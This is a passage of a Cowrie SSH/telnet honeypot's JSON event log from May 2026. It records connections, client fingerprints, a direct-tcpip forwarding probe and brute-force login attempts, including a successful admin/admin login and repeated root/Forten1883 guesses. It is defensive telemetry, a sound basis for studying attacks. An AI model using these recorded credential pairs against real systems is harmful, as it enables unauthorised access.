tm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:39.811517Z","src_ip":"87.251.64.176","session":"83548aeac6c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:40.101131Z","src_ip":"87.251.64.176","session":"83548aeac6c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:40.200605Z","session":"83548aeac6c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:40.298915Z","src_ip":"87.251.64.176","session":"83548aeac6c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:40.398339Z","src_ip":"87.251.64.176","session":"83548aeac6c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43328,"dst_ip":"10.17.0.5","dst_port":23,"session":"5490e4a39b8c","protocol":"telnet","message":"New connection: 50.6.8.71:43328 (10.17.0.5:23) [session: 5490e4a39b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:40.602603Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43342,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3b5519af8a1","protocol":"telnet","message":"New connection: 50.6.8.71:43342 (10.17.0.5:23) [session: e3b5519af8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:44.709663Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60008,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b968589e68e","protocol":"telnet","message":"New connection: 50.6.8.71:60008 (10.17.0.5:23) [session: 8b968589e68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:50.227111Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60018,"dst_ip":"10.17.0.5","dst_port":23,"session":"12322de4d86a","protocol":"telnet","message":"New connection: 50.6.8.71:60018 (10.17.0.5:23) [session: 12322de4d86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:52.088924Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60020,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac2e31f603cf","protocol":"telnet","message":"New connection: 50.6.8.71:60020 (10.17.0.5:23) [session: ac2e31f603cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:53.185380Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50918,"dst_ip":"10.17.0.5","dst_port":23,"session":"c43e194afcf4","protocol":"telnet","message":"New connection: 50.6.8.71:50918 (10.17.0.5:23) [session: c43e194afcf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:02.603625Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50930,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fea2c5a7f99","protocol":"telnet","message":"New connection: 50.6.8.71:50930 (10.17.0.5:23) [session: 6fea2c5a7f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:05.658549Z"}
{"eventid":"cowrie.session.closed","duration":39.24604940414429,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:15.364641Z","src_ip":"50.6.8.71","session":"045fa4a77bdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.49694466590881,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:20.206496Z","src_ip":"50.6.8.71","session":"e3b5519af8a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.40224504470825,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:24.004735Z","src_ip":"50.6.8.71","session":"5490e4a39b8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.29313659667969,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:27.520121Z","src_ip":"50.6.8.71","session":"8b968589e68e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.31687593460083,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:28.502146Z","src_ip":"50.6.8.71","session":"ac2e31f603cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45594,"dst_ip":"10.17.0.5","dst_port":23,"session":"e96ae9effcd0","protocol":"telnet","message":"New connection: 50.6.8.71:45594 (10.17.0.5:23) [session: e96ae9effcd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:32.251108Z"}
{"eventid":"cowrie.session.closed","duration":42.96877717971802,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:35.057577Z","src_ip":"50.6.8.71","session":"12322de4d86a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49188,"dst_ip":"10.17.0.5","dst_port":23,"session":"af409437913c","protocol":"telnet","message":"New connection: 50.6.8.71:49188 (10.17.0.5:23) [session: af409437913c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:36.283798Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":47796,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b4501c45d25","protocol":"ssh","message":"New connection: 103.183.114.55:47796 (159.203.135.109:22) [session: 4b4501c45d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:40.676750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:40.681863Z","src_ip":"103.183.114.55","session":"4b4501c45d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:40.906552Z","src_ip":"103.183.114.55","session":"4b4501c45d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:41.582674Z","src_ip":"103.183.114.55","session":"4b4501c45d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57290,"dst_ip":"10.17.0.5","dst_port":23,"session":"a75668984bc0","protocol":"telnet","message":"New connection: 50.6.8.71:57290 (10.17.0.5:23) [session: a75668984bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:42.186130Z"}
{"eventid":"cowrie.session.closed","duration":36.91138410568237,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:42.569802Z","src_ip":"50.6.8.71","session":"6fea2c5a7f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:42.810771Z","src_ip":"103.183.114.55","session":"4b4501c45d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.204267740249634,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:43.807729Z","src_ip":"50.6.8.71","session":"c43e194afcf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":49694,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef2e45b2fd91","protocol":"ssh","message":"New connection: 103.27.238.114:49694 (159.203.135.109:22) [session: ef2e45b2fd91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:53.663728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:53.669766Z","src_ip":"103.27.238.114","session":"ef2e45b2fd91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:53.948135Z","src_ip":"103.27.238.114","session":"ef2e45b2fd91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:54.778746Z","src_ip":"103.27.238.114","session":"ef2e45b2fd91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:56.058922Z","src_ip":"103.27.238.114","session":"ef2e45b2fd91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":39424,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab69f962dc79","protocol":"ssh","message":"New connection: 103.176.20.57:39424 (159.203.135.109:22) [session: ab69f962dc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:57.594684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:57.600074Z","src_ip":"103.176.20.57","session":"ab69f962dc79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:57.848435Z","src_ip":"103.176.20.57","session":"ab69f962dc79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:58.591925Z","src_ip":"103.176.20.57","session":"ab69f962dc79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:49:59.840828Z","src_ip":"103.176.20.57","session":"ab69f962dc79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.80998969078064,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:10.061001Z","src_ip":"50.6.8.71","session":"e96ae9effcd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51000,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20a5ad425e7","protocol":"telnet","message":"New connection: 50.6.8.71:51000 (10.17.0.5:23) [session: c20a5ad425e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:12.635805Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51006,"dst_ip":"10.17.0.5","dst_port":23,"session":"305462ce1690","protocol":"telnet","message":"New connection: 50.6.8.71:51006 (10.17.0.5:23) [session: 305462ce1690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:14.518410Z"}
{"eventid":"cowrie.session.closed","duration":33.40053868293762,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:15.586355Z","src_ip":"50.6.8.71","session":"a75668984bc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.639286279678345,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:16.922984Z","src_ip":"50.6.8.71","session":"af409437913c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48638,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f34d337bcd4","protocol":"telnet","message":"New connection: 50.6.8.71:48638 (10.17.0.5:23) [session: 7f34d337bcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:19.907458Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48644,"dst_ip":"10.17.0.5","dst_port":23,"session":"b16cf8103045","protocol":"telnet","message":"New connection: 50.6.8.71:48644 (10.17.0.5:23) [session: b16cf8103045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:23.737861Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48750,"dst_ip":"10.17.0.5","dst_port":23,"session":"0beed7875717","protocol":"telnet","message":"New connection: 50.6.8.71:48750 (10.17.0.5:23) [session: 0beed7875717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:36.444792Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34160,"dst_ip":"10.17.0.5","dst_port":23,"session":"503d38c07a68","protocol":"telnet","message":"New connection: 50.6.8.71:34160 (10.17.0.5:23) [session: 503d38c07a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:39.325216Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60820,"dst_ip":"10.17.0.5","dst_port":22,"session":"582b447ad872","protocol":"ssh","message":"New connection: 185.236.22.41:60820 (10.17.0.5:22) [session: 582b447ad872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:40.017076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:40.071362Z","src_ip":"185.236.22.41","session":"582b447ad872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:40.164902Z","src_ip":"185.236.22.41","session":"582b447ad872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:41.134813Z","src_ip":"185.236.22.41","session":"582b447ad872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:42.412898Z","src_ip":"185.236.22.41","session":"582b447ad872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51266,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3eee6e30d7","protocol":"telnet","message":"New connection: 50.6.8.71:51266 (10.17.0.5:23) [session: ea3eee6e30d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:49.054822Z"}
{"eventid":"cowrie.session.closed","duration":37.36898159980774,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:50.004668Z","src_ip":"50.6.8.71","session":"c20a5ad425e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.544745445251465,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:55.452070Z","src_ip":"50.6.8.71","session":"7f34d337bcd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.9721462726593,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:56.709968Z","src_ip":"50.6.8.71","session":"b16cf8103045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54300,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c072552e6fa","protocol":"telnet","message":"New connection: 50.6.8.71:54300 (10.17.0.5:23) [session: 9c072552e6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:57.058388Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":55508,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e7e3cc500f6","protocol":"ssh","message":"New connection: 103.98.149.87:55508 (159.203.135.109:22) [session: 4e7e3cc500f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:58.546391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:58.551322Z","src_ip":"103.98.149.87","session":"4e7e3cc500f6","protocol":"ssh"}
